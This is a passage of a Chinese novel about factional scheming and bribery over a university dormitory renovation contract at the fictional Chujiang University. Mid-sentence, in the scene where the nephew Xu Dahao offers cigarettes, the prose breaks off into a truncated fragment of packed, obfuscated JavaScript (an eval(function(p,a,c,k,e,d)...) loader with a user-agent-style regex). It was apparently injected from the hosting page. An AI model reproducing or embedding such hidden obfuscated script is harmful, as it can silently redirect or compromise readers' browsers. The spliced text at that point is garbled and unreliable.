莫笑非嘴角似乎浮起一丝极淡的、难以捕捉的不屑。半晌,才缓缓抬起眼皮,像是忽然想起一件陈年旧事,慢悠悠地说道:“哦,是吗?可我倒是依稀记得,当年孟校长还在财经学院的时候,对我那次在会议上提出的‘领导干部应带头搞科研’的倡议,似乎……颇有些不同的见解啊?”这话如同一条冰冷的毒蛇,倏地钻入孟超的耳中。 “真他妈饿狗记得千年屎,还真拿自己当人啦!”孟超在心里恶骂了一句,一股邪火直冲顶门。但他脸上努力挤出的笑容却愈发显得恭敬甚至略带赧然:“嗨!莫老您真是好记性。那都是多少年前的旧事了,那时候年轻气盛,不懂事,说话做事都不成熟,让您见笑了。您可千万别跟我一般见识。”他把自己放得几乎要低到了地面上。 副校长罕见的低调和谦卑,似乎极大地满足了莫笑非那点学术权威的优越感,他干枯严肃的脸上线条稍稍柔和了一些,态度也随之缓和了不少,甚至带上了一点“谆谆教导”的意味:“嗯,知不足而后进,也好。不过,小孟啊,你现在毕竟是班子里的少壮派,代表学校的未来,总顶着个副教授的头衔,长远来看,终究是不太相称的。这教授职称,还是该早日解决才是正理。名不正则言不顺嘛。” 这话倒是戳中了孟超的心事。他自己何尝不清楚,要想在未来的竞争中与早已经是教授的江川副校长抗衡,正高职称是他必须尽快拿下的硬指标。而这个环节,眼前这位在学校学术圈依然一言九鼎的莫笑非的支持,无疑是至关重要的敲门砖甚至通行证。 想到这里,孟超脸上的笑容更加热切了几分。他像是刚刚想起似的,随手将带来的一个精致锦盒拎上了桌面,盒盖上绣着繁复的花纹,里面是上品的冬虫夏草:“莫老,听说您最近胃有些不舒服,这是点小心意,给您补补身子。” 莫笑非只拿眼梢淡淡地瞟了那锦盒一眼未置可否,转身从身后的书架上取下一本自己的新著,翻开扉页,龙飞凤舞地签上自己的大名,然后递给孟超:“来而不往非礼也,这本小书,就算是我的一点回礼吧。” 孟超急切地想请教学校科研工作的推进方略,莫笑非似乎兴趣不大,敷衍了几句后,干枯的脸上忽然浮起一种意味深长的笑容,压低声音问道:“听说教工宿舍楼明年可以封顶了?” “这家伙消息倒不闭塞。”孟超心下暗讽,嘴上却奉承起来:“莫老您担心什么呀,像您这样的学术泰斗,分房时肯定得上最好的楼层、最好的户型呀。” 莫笑非脸上深刻如沟壑的皱纹瞬间舒展 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领导跃跃欲试、躁动不安的心思,早已被善于察言观色钟德君尽收眼底。 钟德君现在最大的烦恼是妻子吴雅洁似乎已经将“离婚”二字当作一件严肃的选项来考虑。思前想后,痛定思痛,钟德君知道必须和长期保持地下往来的女商人刘芳断了关系。 请神容易送神难。早已离婚的刘芳,可不是个好打发的角色。年近四十,正是如狼似虎的年纪。在刘芳的心中时刻揣着两本账:一本是钟德君那身结实的身体;一本是他楚江大学基建处处长助理的身份。刘芳从前年开始便将自己的一半生意挪到了武汉,专门注册成立了建筑装饰公司,楚江大学这几年基建项目频繁上马,钟德君不正好是可以借助的力量吗?现在,每当钟德君出现彷徨纠结时,刘芳就会好烟好酒好菜伺候着,钟德君想轻易甩脱?几乎门都没有。 在焦头烂额之际,“人生导师”兼“仕途明灯”的孟超副校长忽然浮现在了钟德君的眼前。一个大胆的想法瞬间在他的脑中生成:何不将刘芳这个“妖精”转手给孟超呢。 钟德君深为自己灵光乍现的一石二鸟之计自鸣得意。原本钟德君还有些担心以孟超如今的身份地位以及阅人无数的经历未必能看得上艳俗的刘芳,更有些担心刘芳怨恨自己弃之如衣服的薄情。没想到,事情的进展却出乎意料地顺利。在钟德君分别向两人表达牵线的意思时,他们不约而同地流露出了急于见面的意图。果然,第一次见面,两人大有相见恨晚之意,而且从此一发而不可收。一个是美色的追求者,一个是利益的索求方,一拍即合,迅速升温,很快便缠绵到了一处。毕竟是自己把玩了几年的玩具,刚开始时,钟德君内心多少有些酸溜溜的失落,转念一想,终究是拆除了身边的炸弹引信,这未尝不是一桩幸事。他强任他强,明月照山岗,由他们去吧,只要不殃及自己这条池鱼便好。 刘芳是个不折不扣的商人,赚钱永远是她衡量一切的第一准则。在商海中浮沉搏杀二十余载,她早已参透:自己这副精心保养的皮囊,不过是一具行走的算盘——□□是谈判时增减的砝码,腰肢是权衡利益的杠杆,甚至连最私密的皱褶里都清晰地标注着价码。商道上的情义薄如草纸,一戳即破,反倒是床笫间的喘息与温存更容易折算成实实在在的真金白银。每当有男人用贪婪混合着欲望的目光丈量她的身体曲线时,她心底便会泛起一丝冰冷的嘲笑:看吧,尽情地看,横竖你们量出的是自己那点肮脏的欲念,而我量出的永远是本月的现实流水和利润。那些自以为正在采撷艳福、钻入裙底的手,必须替她签下一笔新的买卖,盖下一个通往利益的印章。对她而言,男人不过是“铁打的营盘流水的兵”。嗅觉灵敏的刘芳,从第一次见到孟超起,就认定这个省管干部的利用价值远远超过钟德君。对这样的人,分寸的拿捏和把握是重要的,有时可以将他当作呼来喝去的“小兵”,有时又必须将他奉若神明地捧成“将军”。 眼下,刘芳盯住的是楚江大学的一块“肥肉”:一年后将要封顶的十六栋教工宿舍楼。 在几次小试牛刀的摸底后,刘芳在风景宜人的东湖边上的酒店长租了一间豪华套房。落地窗外,湖水浩渺,在阳光下泛着银鳞般的光泽。但只要那厚重的窗帘一拉,这里便成了一个精致而隐秘的笼子——专等着孟超这只春风得意的“鸟儿”主动进来。 孟超岂能不懂这温柔陷阱背后的算计?每次云收雨歇后,刘芳总会变着法子打听宿舍楼的进展情况以及后续的装修安排。每当此时,孟超燥热的身体就会瞬间变凉:宿舍楼的装修工程虽然还在一年之外,但现在早就成了一块众所周知、饿狼环伺的肥美鲜肉。熟识不熟识的包工头们揣着鼓鼓囊囊的红包,像幽灵般在校园里游荡徘徊;材料商脸上堆砌着能挤出蜜来的媚笑,开始电话、短信各种渠道展开“问候”轰炸……,盘根错节,水深难测。现在,自己既然入了刘芳的温柔乡,总得对她的情意总得有些表达。至于如何表达,孟超不想急着给出答案。 窗外,东湖的夜雾渐渐升腾弥漫上来,无声无息地笼罩了玻璃窗,将那一片湖光山色模糊成一块巨大的、灰蒙蒙的毛玻璃。室内的旖旎与算计,窗外的模糊与暧昧,交织成一幅难以言说的现代浮世绘。 37. 装修蛋糕 表面上看,两千万预算的宿舍楼装修项目,是一块足够诱人的蛋糕,油光润泽,香气四溢,惹人垂涎。然而蛋糕再大,若饿狼环伺,最终能分到每一张嘴里恐怕也只剩一点残渣——甚至,连渣都不剩。 在孟超所有的预判与谋算之中,独独漏算了一个人——“头狼”许继武。 秋意已深,窗外的银杏叶开始泛黄,如同被时光悄悄镀上一层金边。许继武站在办公室窗前,目光投向那一树渐变的灿烂,却无半点欣赏之意。他抬手,指尖触到自己花白的鬓角,那是一种属于岁月的质感。两年,只剩下两年,就到了自己的退休大限。他默默咀嚼这个时限,心头泛起一股难以言喻的涩意。 昨天省厅老同学那通电话言犹在耳,对方支支吾吾,言辞闪烁,但话里话外的意思再明白不过:原先为他谋划好的那个位置,基本已经没戏了。最后,老同学叹着气,语重心长地加了一句:“老许啊,到了这个年纪,该想想实在的了。” 什么是“实在的”? 电话挂断后的忙音里,许继武品咂着这三个字。几乎与此同时,妻子钱曼莉的声音又在耳边响起,与老同学的话奇异般地重合:“得为退休生活攒点钱呢……” 他的目光延展到了明年启动的宿舍楼装修项目。两千万的预算,不用说,其中的油水丰厚得几乎能照出人影。他一辈子谨小慎微,台上台下,讲话作报告,提及最多的便是“廉洁自律”这四个沉甸甸的大字。如今真要他抬脚往那泥潭里踩吗?心,是颤抖的;连膝盖,都是僵硬的。 正在思虑间,老婆钱曼莉的电话打了过来,语气明显表现出了不耐烦:“和孟超谈了没有?达濠刚刚又在催呢。” 感觉到许继武的纠结和犹豫,钱曼莉的声调总会拔高八度:“达濠开的不就是装潢公司吗?多对口呀,有什么可犹豫的,真搞不懂你。再等下去,黄花菜都凉啦。肥水还不流外人田呢!” 侄儿许达濠的名字总是让许继武感到太阳穴一阵发紧。这个不成器的侄儿,在自己的资助下开了间装潢公司,十多年过去了,接的还尽是些街边小饭馆装修的活计,简直不成气候。让他来接手两千万的宿舍楼项目?不要说别人,许继武想想都觉荒唐。 “你管这么多个啥?”钱曼莉仿佛看穿了老公的心思,语气斩钉截铁:“不过是借他的壳嘛!这可是你退休前最好也是最大的一个机会”,说罢,钱曼莉压低了些声音,语气中的热切丝毫未减:“大好答应事成之后,好处费可以达到这个。” 当许继武从老婆伸出的一根手指中确知一百万的数字后,心脏猛地一跳,脱口而出:“什么好处费!应该是……咨询费!”他几乎是条件反射般地认真纠正了妻子的说法。仿佛换一个词,就能将那烫手的、不光彩的交易裹上一层体面的糖衣。 钱曼莉也不较真,语气轻快附和起来:“对,对,咨询费,你看我这嘴……当然是咨询费。” 结束通话,远处教学楼的下课铃声遽然响起,“叮铃铃——”,清脆而悠长,穿透秋日的薄霾。许继武却蓦然觉得,这寻常的铃声,此刻听来竟像是为他退休生活敲响的倒计时钟声,一声声催得人心慌。 周六下午,孟超接到了许继武亲自打来的电话,让他到家里去一趟。 书记在家召见,这在孟超身上还是头一次发生。这非同寻常的举动让孟超既惊又喜且疑,心头霎时如投入巨石的湖面波涛翻涌起来。孟超有一个思维习惯:领导召见似乎与器重和栽培必有关联。但转念一想,自己上位副校长刚满一年,资历尚浅,提拔似乎还为时尚早。 孟超和许继武的夫人钱曼莉打过不少交道,对钱曼莉影响和左右许继武的能力耳闻目睹。临出门前,趁着老婆韩梅猫在厕所的工夫,他从柜子里翻出一只锦盒,里面装的是一只沉甸甸的纯金观音像。因为在五台山请高僧据说开了光,韩梅一直当做镇宅之宝小心呵护。 刚准备将盒子揣进公文包,韩梅不知什么时候站在时候,眼睛瞪得溜圆,眉毛拧在一起,直接用武汉话开起骂来:“个斑马!你是苕得不清白吧!这只观音是开过光的,镇宅子的宝贝你不知道哇?你要拿到哪里去?”说罢,她不由分说,一把抢过锦盒,紧紧抱在怀里,噔噔噔走进里屋,藏了起来。 孟超不敢招惹韩梅,双手轻轻按在韩梅宽厚的肩膀上,熟练地揉捏着,语气带着诱哄:“你好歹也是搞财务的,投入产出的账,总会算的吧?许继武是个关键人物。如果我能再进一步,成了校长,那你就是校长夫人。到那时候,你还担心没人孝敬更好的?眼光要放长远些。” 韩梅皱着眉,嗑瓜子的动作停了下来,心里飞快地掂量了半天,依然不同意拿出“镇宅之宝,转而同意拿出那块自己一直舍不得戴的“卡地亚”女表:“这块表怎么也值个两三万吧。你拿这个去吧。唉,为了你的前程,真是要了我命了。” 带着包装精美的“卡地亚”盒子,孟超按时赶到了许继武家。 门铃只响了一声,钱曼莉就踩着软底拖鞋迎了出来。当她接过那只印着醒目“卡地亚”LOGO的盒子时,脸上的笑容瞬间绽放,比茶几果盘里那个最大最红的苹果还要鲜亮灿烂。 “孟校长太客气了,来就来了,还带什么东西呀!”她嘴上说着客套话,手却已将礼物稳妥地收好。按照惯例,孟超得到了一杯钱曼莉亲自冲泡的热气腾腾、茶香四溢的“人参乌龙茶”。孟超知道,这是钱曼莉在家中待客的最高礼遇,接过杯子时,手指不免有些抖动。 许继武正端坐在宽大的真皮沙发里看报。看见到孟超进来,才慢悠悠地折起报纸放在一旁。孟超眼尖,看见报纸旁放着一套宿舍楼装修的材料。心里暗将基建处长周青松背着自己的做法骂了一回。 “孟校长来了,请坐吧。”许继武指了指对面的沙发。 “许书记找我是有什么事?”孟超接过茶盏,手心有些出汗。 许继武不急着回答;“不急。先喝茶,工作的事慢慢说。” 孟超只得抿了一口“人参乌龙茶”。茶确实是好茶,但他似乎如鲠在喉。 “最近分管的各项工作推进不错啊,”许继武双手交叉放在腹部:“特别是后勤保障这一块,学生们对食堂改革的反馈很好。孟校长雷厉风行,很多人都看在眼里。” 孟波稍稍放松了些许:“这都是分内工作,还得许书记您把关指导的好。” “哎,你也不要谦虚嘛。”许继武笑着摆摆手:“你年轻有为,思路活,有闯劲,这对事业发展是好事。” 他又呷了口茶,话锋悄然一转:“不过啊,有时候工作做得太急太快,难免有些疏漏。就像跑步,步子迈得大,脚下难免会带起沙土。” 孟超刚刚放松的神经又绷紧了:“许书记指的是?” 许继武没有直接回答,而是看似随意地拿起茶几上那叠材料中最上面的一份:“3号学生宿舍楼刚刚维修就不断地冒出问题来,学生反应很强烈的嘛。” 孟超心里咯噔了一下,这个不大的维修项目是韩梅单位领导的亲戚承包的。为了不致被动,孟超赶紧结果话来:“是有一些反馈,主要是卫生间漏水和水压不稳,已经让后勤处督促施工方整改了。” “整改得好吗?”许继武语气依然平和,但目光已经透过镜片直射过来,“我怎么听说问题不但没解决,反而更严重了?昨天有学生家长直接打电话到党委办公室投诉啊。” 孟超后背开始冒汗:“您放心,我回去后让周处长抓紧亲自跟进。” 许继武似乎并没打算往下深究,语气变得温和了许多:“孟校长啊,我知道你工作千头万绪,不可能面面俱到。不过今后关键的人和事还是多关注些吧,不要弄得到时候审计出了问题。你明白我的意思吗?” 孟超感到一阵寒意从脊背窜上来。他明白了,完全明白了。许继武是在借学生宿舍楼的事情警告自己:你的把柄在我手里,接下来怎么做,看你的表现。作为书记,我能捧你,也能毁你,好自为之。 孟超正在思虑如何周全地回应,许继武的话锋再次变道:“当副校长已经一年了吧?” 这个问题,孟超倒是准备了标准答案。他立刻坐直身体,脱口而出:“是的,书记。已经一年零十五天了。” “哦?这么准确?不过,这一年你确实干得不错嘛。”许继武用目光睃了孟超一眼继续说道:“现在上面一直强调干部要年轻化,你是很有希望的。好好干嘛。” 孟超心里高兴,正在仔细琢磨着话里的机锋,钱曼莉突然从房间走了出来。一直在里面“垂帘听话”她嫌老公说话啰嗦,干脆直接把话挑了出来:“小孟,我听说你们楚江大学教工宿舍楼明年要开始装修了吧?老许他侄子达濠正是开建筑装潢公司的,人也老实可靠,你看到时能不能关照关照?” 孟超的心猛地往下一沉:弄了半天,原来前面所有的话都是铺垫而已。他忽然替韩梅献出的那块“卡地亚”女表心疼起来——这代价,似乎付出得早了些,也沉了些。 许继武嫌老婆说话过于直白,故意说了句“这事还早着呢,”然后起身拿起窗台上的喷水壶,佯装给阳台那几盆秋菊浇水。水壶喷出的细密水雾,在午后斜照的阳光中,折射出一道微小却绚丽的彩虹。 钱曼莉却不依:“早什么呀。凡事未雨绸缪对吧。现在也许找小孟的人早就排起长队了吧?” 孟超赶紧连连摆手:“没有,没有,算起来你还是第一个提这事的。” 钱曼莉脸上顿时开出了花:“是嘛。那很好呀,你正好可以提前布局的嘛。” 书记夫人已经开了口,他不能没有任何表态。他刚张开口,准备说些“一定认真考虑”、“请书记和夫人放心”之类的套话,许继武放下喷壶慢悠悠地转过身说道:“老钱也只是说说而已,这个事情,学校的规章制度还是要守的。”说完,又就“干部年轻化”的话题强调了一番,与开场白巧妙呼应,形成了一个完美的闭环。 孟超在心里暗骂了一句“老滑头”,脑袋却不由自主地连连点了几下。临走时,钱曼莉执意要亲自送孟超出门,刚走到楼下,钱曼莉又扯住了他:“刚才我们老许在场不方便说,孟校长如果有可能,可以将整个项目总包给小许他们公司嘛。” 孟超惊愕地盯着钱曼莉看了半天,看见她并不像是随口一说,心被这个“狮子大开口”的要求吓得猛地一缩,倒吸一口冷气,脚下踉跄半步,险些没站稳,血液似乎瞬间冲上头顶又在刹那间褪去,脸颊先是通红继而变得煞白。他张了张嘴,喉咙却像是被什么堵住了,一个字也吐不出来,机械地点头后,象躲避瘟神一样迅速逃离。 几天后,孟超正和基建处副处长韦江龙、处长助理钟德君在办公室开始研究教工宿舍楼装修的招标文件,门突然“吱呀”一声,被人毫不客气地从外面推开了。 三人同时抬头,只见一个年轻人站在门口。他身着藏蓝色竖条纹西装,面料考究,身材高挑颀长,头发梳得油光水亮,一丝不苟,脚下的皮鞋擦得锃亮,几乎能照出人影。乍一看,倒有几分翩翩风度,但那眉宇间流露出的倨傲,却破坏了整体的观感。 “你是谁?”孟超将手中的文件重重拍在桌上,发出短促而不悦的诘问。韦江龙和钟德君见来者不善,赶紧收拾好文件资料先行离开。 年轻人丝毫不慌,迎着孟超的目光大摇大摆地走进来。他从精致的鳄鱼皮名片夹里抽出一张烫金名片,两根手指夹着轻飘飘地递给孟超,那姿态随意得像是在发一张无关紧要的扑克牌。 孟超强压住心头火气,勉强接过名片,低头一看——汉江装饰有限责任公司总经理许达濠。顿时,脸上的怒色像变戏法一样瞬间消失,取而代之的是一片热情洋溢的笑容:“哎呀!是许总呀,幸会幸会。”孟超腾地站起来,绕过办公桌迎上前,仿佛见到了老朋友一般。 许达濠随意地摆摆手,一口浓重汉腔的普通话拿腔拿调:“孟校长太客气了咯。什么总不总的,虚名而已。我今天是专门来拜访您,无非讨口饭吃嘛。”话虽说得谦虚,但他的下巴却抬得老高,眼神里透着一股毫不掩饰的居高临下与傲慢。 孟超忍着气,掏出烟盒递过去。许达濠眯眼瞥了一下烟盒的牌子,慢条斯理地从包里掏出两条顶级“黄鹤楼1916 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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钟德君接过孟超递来的一支烟,点燃后吸了一口,压低声音说道:“孟校,这事儿未必没有转圜的余地。现在大家都在传书记校长较劲得厉害,能不能借校长的力来制衡制衡书记的力呢?” 孟超眼前一亮:是啊。周濂和许继武之间的互不买账在学校已经上人所共知的秘密,钟德君这个点子确实有点新意。 事不宜迟。在汇报完课题申报事项后,孟超将话题引到了宿舍楼装修项目上。 “这事还早着呢。”周濂停下脚步,有些不解地看向孟超。 孟超语气里刻意带上几分忧虑和为难:“校长,早是早啊,可是有人盯着了呀。” “啊?还有这事?谁呀?”周濂眼光变得锐利起来。 孟超故意嗫嚅着不开口。周濂又连着追问了几次,孟超起身有意掩上房门,隐去了自己去过许家的事情,压低声音说道:“今天有个姓许的建筑公司老板找过我?” “姓许?”周濂摸着下巴沉吟了片刻,指了指对面:“他们家的?” 孟超点了点头:“姓许的那家公司注册资本才一百万,连二级资质都勉强,竟然想总包整个装修项目,恐怕……。” 周濂肩膀耸动了一下,旋即声音平淡如水地说道:“宿舍楼项目,学校既然交给你负责,你就是一线总指挥。这些具体事务,你自己拍板定就行了嘛。” 看见周濂不为所动,孟超故作迟疑地补充道:“说是这样说,其实我很难做的呀。”他故意停顿,观察着周濂的反应。 周濂不以为然:“难什么呀。书记又没有亲自插手这件事。”他有意将“插手”加重了语气,目的是试探许继武是否有插手的行为。 孟超冷笑一声后说道:“他们家的钱处长你又不是不知道。” 周濂嘴角向上牵动了一下,语气平稳却暗藏机锋:“这事还早。我相信书记不会插手工程的。你们呢,也不要戴着有色眼镜看人嘛。古时还举贤不避亲呢。你们严格按照规矩办就好了。我还有个会,你还是带人将招标文件好好琢磨琢磨吧。” 电梯下行时,不锈钢镜面墙映出孟超阴沉的脸。他盯着镜中自己紧锁的眉头,终于想通了:周濂的不表态,也许就是最明确的态度。出了电梯,他站在原地有些懊悔,觉得似乎并没有借上校长的力啊。 孟超显然低估了校长周濂的雷厉风行。所谓的“有个会”,只是一个离场的借口而已。出了行政楼,周濂并未走向会议室的方向,而是避开行人,径直来到了吴若甫家。 周濂大白天的突然来访,吴若甫立刻意识到,必有要事。 “大白天的上门,可不像是你一贯谨慎的风格啊。”吴若甫笑着将沏好的热茶推了过去。 周濂顾不上寒暄品茶,说出了许继武准备插手教工宿舍楼装修项目的消息。 “怎么?你打算借这件事……做点文章?”吴若甫的声音不高,却像锤子一样敲在寂静的书房里:“别忘了,他可是还有两年就到站的人。平稳过渡,相安无事,对大家都好。”这是吴若甫惯用的欲擒故纵的手法。 “平稳?吴校长,我都忍了三年了,不能再这样眼睁睁耗下去!”周濂突然提高声调:“这些年他占着书记不干事可以不管,但利用职权捞钱,这就太过分了。吴校长您是知道我的,眼里不能揉进沙子。” 吴若甫笑容里带着一丝老谋深算的意味,缓缓说道:“你可是校长呢。做事得思前想后,有凭有据,操作不当的话,那可就是一场地震啊。你想清楚了?” 书房里陡然安静下来,只剩下窗外细微的风声。周濂眼神里的火焰虽然并未熄灭,但明显多了几分犹豫。 半晌,吴若甫像是自言自语般轻声说了一句:“不过……冯伟那里倒是有不少这方面的材料。他是可靠的,你为什么不用用他呢?” 一句话点醒了周濂。吴若甫似乎并不打算和他长谈,又启发了几句后,用“悄无声息”四个字送他离开。吴若甫和一帮老同志其实早有“做掉”许继武的想法,现在周濂态度如此决绝,他没有理由不动用各种手段为他悄无声息地助一把力。如果事成,周濂接任书记是大概率的事情,那自己在楚江大学的地位以及女婿顾明远的前程不是都加了保险的吗。 38. 校园惊变 十月的晨风裹挟着校园里迟开的桂花最后的余香,四散飘逸,沁人心脾。一辆黑色奥迪A6碾过金黄的落叶,悄无声息地滑到楚江大学行政楼前稳稳停住。车门打开,两位身着深色行政夹克的中年男子快步下车。眼尖的人一眼认出,那位走在前面神态严肃的男子,是省委组织部的郝处长。半小时后,一场临时紧急通知的干部大会在学校报告厅举行。 “经省委研究决定……”,郝处长的声音平稳、缓慢,甚至带着一丝公式化的沉重:“免去许继武同志楚江大学党委书记、常委、委员职务。” 短短的一句话,听在许继武耳里,却像一把钝刀在切割着自己的心。他僵硬地坐在台上,眼珠转动间,看见周濂笔尖飞舞,正在笔记本上流畅地移动。 最后,郝处长抬头环视会场,脱稿补充道:“在新任书记到任之前,由周濂同志暂时主持楚江大学党政全面工作。” 会议刚一结束,搬开了许达濠这座大山,孟超一下子轻快了许多,他在第一时间来到周濂的办公室,一声“周书记”道出了自己发自内心祝贺,末了毫不掩饰地说道:“这下不用担心他来承受宿舍楼项目了。” 周濂内心还在被巨大的喜悦浪涛冲荡着,脸上却故意正色道:“说话要严谨嘛,我不是周书记,他也没有插手的嘛。” 正在说着,办公室主任冯伟兴冲冲地推门进来,刚喊了一声“周书记”,猛然看见孟超也在场,立刻将已到嘴边的话硬生生咽了回去,脸上闪过一丝尴尬。 孟超并未在意冯伟的异样,他突然站起身来在周濂宽敞的办公室四处打量,忽然停下脚步带着几分戏谑说道:“冯主任啊,你这办公室主任当得,可有点不够称职啊。”孟超故意拖长语调,又转成几分讨好看了周濂一眼,继续说道:“周书记都主持学校全面工作了。这间北面的办公室,采光不好,气场也不足嘛!你这个办公室主任就没什么想法?” 冯伟心里暗骂了一句“马屁精”。其实,周濂很早就在自己面前抱怨过办公室冬天光线差、湿气重的问题,但是学校用于正厅级领导的办公室只有两间,南面的配给书记,校长自然只能将就北面这间了。现在孟超故意拍周濂这个马屁,无疑是给冯伟出了个难题。 看见冯伟面露难色,孟超凑道他的跟前:“他现在已经不是书记了,那就得按规矩办嘛。难不成还要占在那里不作为吗?” 周濂当然知道孟超递交投名状的用心。虽然他一直觊觎那间南向的办公室,但又不愿流露出自己急切的心情,便帮着冯伟解起围:“嗨,那里办公不一样都是工作的嘛。” 不想被孟超独占了功劳的冯伟只好硬着头皮表态,说是马上协调,尽快让周书记搬到南面的办公室里。走到门口,冯伟忽然调转头来:“对了,孟校长,总务不正好是你在分管嘛,你给朱政华打个电话呗。”这等于将球又踢到了孟超的脚下,孟超这才意识到这个“貌似忠厚”的办公室主任其实并不好惹。 为了将忠心表彻底,当着周濂的面,孟超给总务处长朱政华打去了电话,话说得干脆爽利:“到时候把那间办公室里里外外、角角落落好好捯饬捯饬,该换的换,该添的添。新书记,新起点,新气象嘛!” 话音未落,办公室门口人影一晃。孟超眼尖,认出了副校长江川,轻轻嘀咕了一句“鼻子可真灵”,给周濂敬了个礼,便先告退了。 待孟超离开许久,江川才终于抬手,叩响了周濂办公室那扇木门。 指节与木门碰撞发出的闷响,仿佛也敲在他自己的心上。他与周濂,当年校长之争的硝烟早已散尽,却在两人之间划下了一道难以弥合的鸿沟。如今,形势比人强,周濂已然执掌权柄,书记之位唾手可得,那空出来的校长宝座,便成了他江川心头一块滚烫的烙铁,灼得他坐立难安。此番前来,名为祝贺,实为试探,更是要在这位即将登顶的对手兼上司面前,小心翼翼地放下积累了多年的身段,尝试修补那千疮百孔的关系。每一步,都需走得如履薄冰,每一句话,都需说得滴水不漏。 “书记校长一肩挑,担子重,千头万绪,真是辛苦您了。”江川的寒暄带着学者特有的书卷气,却也透着一丝难以掩饰的别扭和生硬。 人在得意时似乎更显出自己的大度和包容,这些年一直对江川不太顺眼的周濂笑得春风化雨,语气显得格外亲切:“哎呀,江校长快请坐。我也是没想到啊,组织上会给我压这么重的担子。本来想着再过几年就要退了,还能腾出手来专心做点学问,带带博士生。唉,没办法,现在是赶鸭子上架咯。”他叹了口气,语气显得推心置腹:“江校你是班子里的老同志了,经验丰富,情况熟悉,接下来学校的行政这一摊子,你可得多费心,帮我分担分担吧。” 听到“分担分担”几个字,江川原本略显拘谨的眼神骤然亮了起来。虽然极力掩饰,但那瞬间燃起的希望之火,岂能逃过周濂的眼睛? 鱼饵,已经精准地抛出去了。 当夜,江川家的书房灯光亮至凌晨。他的夫人方琳——一位出身于部队大院高干子女,虽然现在只是一所高校二级学院的院长,但有着天生的敏锐政治嗅觉。在听完老公的描述后,经过仔细分析,很快得出了周濂转任书记是大概率事件的结论。这就意味着校长之位很快会空了出来,从目前学校领导班子的排位、资历和能力来看,自己的丈夫无疑是最具竞争力的接任者。 她当机立断,连夜拉着心神不宁的江川,驱车前往位于喻家山下的干休所,拜访虽已年近八旬的“司令”爷爷,希望能借助老爷子的余威,为江川的晋升趟出一条路来。 夜色渐浓,喻家山在墨色中只余下一道模糊的轮廓。车内,方琳的眼底映着流转的城市灯火,亮得惊人。 “这是个机会呀,江川。”她的声音里带着一种惯有的、近乎理所当然的算计:“周濂那边示好,姿态做足了给你看。你以前输,不是输在能力,是输在上面没有自己人开口。这次不能再闷头傻干了,得走点不一样的路。” 窗外的流光掠过江川略显紧张的脸。这是一张典型文人的脸,藏着抱负,也藏着怯懦。他想上位几乎想得心都疼了,可真到了要动用场外手段的时刻,骨子里那点清高与不自信又翻搅起来,让他坐立难安。 车子停在一处僻静的小楼前。小楼沉寂,唯有几扇窗透出昏黄的光,透着一种被时光遗忘的寥落。 “司令”爷爷正在客厅里踱步。客厅布置得一丝不苟,墙上泛黄的军用地图、玻璃柜里摆放的各式勋章,无一不在无声诉说着主人昔日的荣光。虽然年近八旬,老人身板依然挺得笔直,旧式的确良衬衫领口扣得严严实实。 “琳琳?这么晚你们来干啥?”老爷子声音洪亮,目光扫过江川,像审视一个新兵:“小江也来了?” 方琳搀扶着爷爷坐在沙发上,笑容甜得像浸了蜜一般:“爷爷,这么晚来打扰您休息了。江川这次遇到个坎儿,非得您老人家给出出主意,掌掌舵不可。”她边说边自然地搀住老人的胳膊,引着人往里走,仿佛她才是这里的主人。 老爷子手势一挥,依稀仍是挥斥方遒的派头:“讲!有什么困难,尽管说。老头子我虽然退下来了,总还是能说上几句话的。” 方琳巧妙地将江川的晋升“需要一点上层声音”的想法说了出来。 江川在一旁附和着点头,措辞文绉绉的,却带着知识分子特有的迂回。 老爷子眯着眼听着,手指在膝上有节奏地敲着,像在斟酌一场重大战役的部署。沉吟片刻,缓缓说道:“嗯……这个问题嘛,要看怎么运作……”他语调缓慢,带着一种过时的权威感:“那个谁,现在应该还在那个位置上……我当年一手带出来的……,我明天打个电话过问一下。” 他说得煞有介事,仿佛电话线仍是他指挥千军万马的神经枢纽。方琳配合地点头,仿佛老爷子金口一开,一切便已尘埃落定。 只有江川,看着老人那双布满老年斑、曾握过枪如今却微微颤抖的手,心里蓦地升起一股担心来,觉得这样的许诺如同空中楼阁,华丽却无处落脚。 在冯伟、朱政华等人软硬“催促”下,已然失势的许继武,最终不得不黯然搬离楚江大学的“一号办公室”。经过孟超一帮人的好说歹劝,周濂只好半推半就,“极不情愿”地迁入了这间宽敞明亮、坐北朝南的办公室。 只此一招,孟超在周濂心目中的分量,犹如汛期里的江水,“蹭蹭”地往上涨个不停。 周濂的器重给了孟超无穷的动力。随着教工宿舍楼封顶在即,照顾各方关切做好宿舍楼装修的准备工作,现在是摆在孟超面前的头等大事。 若在往日,许达濠的“汉江公司”是一道无法突破的屏障。随着许继武的离去,孟超几乎未作考虑,拿起笔将“汉江公司”从备选名单中轻易勾掉,笔锋轻飘而又果断。剔除了这个最大障碍,孟超就可以在这块两万的战场上纵横捭阖,按照自己的想法进行谋篇布局。自然,这一切谋划里,刘芳是绕不开的名字。这位眼波流转间总能恰到好处撩拨他心弦的“小妖精”,最近可没少在他孟超身上下功夫。孟超当然不会仅仅满足欲望的满足,他得将各种利益精密地算计清楚。 就在宿舍楼装修招标准备工作即将尘埃落定的前夜,孟超接到了何荣坤的电话。何荣坤刚刚新晋审批处副处长的职务,官衔不高,实权在握,孟超不敢怠慢。 因为荣升底气充足的何荣坤也不客套,开门见山告诉孟超有一位“省里的领导”很关心楚江大学的宿舍楼项目,希望能有机会为这个项目“做点贡献”。 孟超的心猛地紧了一下:后天上午就要正式开标了!九家背景各异、来头不小的公司早已摩拳擦掌,蓄势待发。此刻半路杀出一匹重量级的黑马,岂不是要一发动全身了? 冷静下来的孟超忽然想起此前领教过何荣坤打着上面旗号施压的伎俩,便故意用开玩笑的口吻试探起来:“何处长,您跟我就别卖关子了嘛。到底是哪位省领导这么关心我们学校啊?说出来也让我沾沾喜气,日后也好当面感谢嘛。” 何荣坤在电话那头干咳了两声,语气瞬间变得不悦,声音陡然扬起:“怎么?孟校长这话的意思,是在怀疑我何某人假传圣旨咯?没关系。既然孟校长有难处,信不过我,那我这就直接回复领导好了。不勉强,绝不勉强嘛”说完,根本不给孟超任何解释的机会,“啪”地一声直接挂断了电话。 